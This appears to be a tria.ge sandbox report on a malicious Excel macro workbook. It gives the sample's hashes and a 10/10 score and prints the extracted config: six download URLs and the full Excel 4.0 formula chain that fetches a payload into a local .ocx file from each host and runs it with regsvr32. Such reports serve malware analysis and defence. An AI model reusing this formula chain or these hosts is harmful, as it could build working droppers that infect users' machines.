Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5
-
Size
46KB
-
Sample
241111-zye8wawhkg
-
MD5
a18b8c5acb696bbad6c7f0a3f327fee0
-
SHA1
6d731d9d5104696a58f79e0748819de966d4056d
-
SHA256
023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5
-
SHA512
cf8ff3d0326d7d06cff1b1c4d39caef272e9b56a615c27822565c568331c933883b44822ab9dfe75d10a8287b175386595b36cbdc186d8d3e5181abd2c9e207a
-
SSDEEP
768:Wo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:Wo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ
Behavioral task
behavioral1
Sample
023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/
https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/
https://aplicativos.xyz/apk/49Wq5MN/
http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/
http://prevozkop.rs/qnov/n017r0EEa/
https://businessandhr.com/w/xrB/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()
Extracted
http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/
https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/
Targets
-
-
Target
023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5
-
Size
46KB
-
MD5
a18b8c5acb696bbad6c7f0a3f327fee0
-
SHA1
6d731d9d5104696a58f79e0748819de966d4056d
-
SHA256
023df819a6f642e52daee27c8edc3fa0f7897eb1fe6fa3afde1a4048aebc07c5
-
SHA512
cf8ff3d0326d7d06cff1b1c4d39caef272e9b56a615c27822565c568331c933883b44822ab9dfe75d10a8287b175386595b36cbdc186d8d3e5181abd2c9e207a
-
SSDEEP
768:Wo9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:Wo9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-